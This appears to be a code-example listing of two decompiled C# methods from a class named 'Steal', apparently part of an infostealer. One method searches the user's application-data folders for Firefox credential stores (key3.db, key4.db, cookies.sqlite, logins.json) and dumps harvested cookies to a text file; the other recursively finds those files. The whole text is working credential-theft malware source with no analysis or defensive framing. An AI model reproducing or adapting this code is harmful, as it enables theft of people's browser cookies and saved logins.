Example #1
0
		// Token: 0x060000A1 RID: 161 RVA: 0x000078B8 File Offset: 0x00005AB8
		public static void Cookies()
		{
			List<string> list = new List<string>();
			list.AddRange(Steal.FindPaths(Steal.LocalAppData, 4, 1, new string[]
			{
				"key3.db",
				"key4.db",
				"cookies.sqlite",
				"logins.json"
			}));
			list.AddRange(Steal.FindPaths(Steal.RoamingAppData, 4, 1, new string[]
			{
				"key3.db",
				"key4.db",
				"cookies.sqlite",
				"logins.json"
			}));
			foreach (string text in list)
			{
				string fullName = new FileInfo(text).Directory.FullName;
				string browser_name = text.Contains(Steal.RoamingAppData) ? Steal.prbn(fullName) : Steal.plbn(fullName);
				string name = Steal.GetName(fullName);
				Steal.CookMhn(fullName, browser_name, name);
				string text2 = "";
				foreach (string str in Steal.Cookies_Gecko)
				{
					text2 += str;
				}
				if (text2 != "")
				{
					File.WriteAllText(Help.Cookies + "\\Cookies_Mozilla.txt", text2, Encoding.Default);
				}
			}
		}
Example #2
0
        // Token: 0x060000F2 RID: 242 RVA: 0x0001DC38 File Offset: 0x0001BE38
        public static List <string> FindPaths(string baseDirectory, int maxLevel = 4, int level = 1, params string[] files)
        {
            List <string> list = new List <string>();

            if (files != null && files.Length != 0 && level <= maxLevel)
            {
                List <string> result;
                try
                {
                    foreach (string path in Directory.GetDirectories(baseDirectory))
                    {
                        try
                        {
                            DirectoryInfo directoryInfo = new DirectoryInfo(path);
                            FileInfo[]    files2        = directoryInfo.GetFiles();
                            bool          flag          = false;
                            int           num           = 0;
                            while (num < files2.Length && !flag)
                            {
                                int num2 = 0;
                                while (num2 < files.Length && !flag)
                                {
                                    string   a        = files[num2];
                                    FileInfo fileInfo = files2[num];
                                    if (a == fileInfo.Name)
                                    {
                                        flag = true;
                                        list.Add(fileInfo.FullName);
                                    }
                                    num2++;
                                }
                                num++;
                            }
                            foreach (string item in Steal.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files))
                            {
                                if (!list.Contains(item))
                                {
                                    list.Add(item);
                                }
                            }
                        }
                        catch
                        {
                        }
                    }
                    result = list;
                }
                catch
                {
                    result = list;
                }
                return(result);
            }
            return(list);
        }